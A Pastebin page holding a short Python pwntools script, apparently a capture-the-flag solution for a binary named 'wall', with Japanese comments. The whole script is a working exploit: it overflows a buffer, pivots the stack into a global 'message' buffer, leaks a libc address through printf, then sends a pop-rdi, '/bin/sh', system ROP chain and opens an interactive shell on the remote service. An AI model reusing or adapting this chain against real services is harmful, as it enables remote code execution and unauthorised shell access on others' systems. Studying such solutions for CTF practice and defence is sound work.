Guest User

solve.py

a guest
Nov 7th, 2024
210
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.28 KB | None | 0 0
  1. # yaru
  2. # rbpとrspごにょってmessageにスタックうつしてrop
  3.  
  4. from pwn import *
  5.  
  6. elf = ELF("./wall")
  7. libc = ELF("./libc.so.6")
  8.  
  9. while True:
  10.     try:
  11.         p = remote(arupaka)
  12.  
  13.         leave_ret = 0x401261
  14.         pop_rbp_ret = 0x40115d
  15.         call_printf_in_get_name = 0x401191
  16.  
  17.         payload  = b'A'*(0x800+0x80)
  18.         payload += p64(elf.sym.message + 0x800 - 8)
  19.         payload += p64(leave_ret)
  20.  
  21.         p.sendline(payload)
  22.         p.sendline((p64(elf.sym.message+0x800+0x80)+p64(call_printf_in_get_name))*8)
  23.         p.recvline()
  24.         libc.address = u64(p.recv(6, timeout=1).ljust(8, b'\0')) - 0x62050
  25.         if libc.address & 0x7f0000000000 != 0x7f0000000000:
  26.             p.close()
  27.             continue
  28.         print('libc_base:', hex(libc.address))
  29.  
  30.         pop_rdi = libc.address + 0x001bbea1
  31.         binsh = next(libc.search(b'/bin/sh\0'))
  32.         system = libc.sym.system
  33.  
  34.         rop  = p64(pop_rdi)
  35.         rop += p64(binsh)
  36.         rop += p64(system)
  37.  
  38.         p.sendline(rop)
  39.  
  40.         p.recvline()
  41.         p.sendline(b'echo asdf')
  42.         if p.recvline() == b'asdf\n':
  43.             p.interactive()
  44.             break
  45.  
  46.     except KeyboardInterrupt:
  47.         p.close()
  48.         break
  49.  
  50.     except:
  51.         p.close()
  52.         continue
  53.  
Advertisement
Add Comment
Please, Sign In to add comment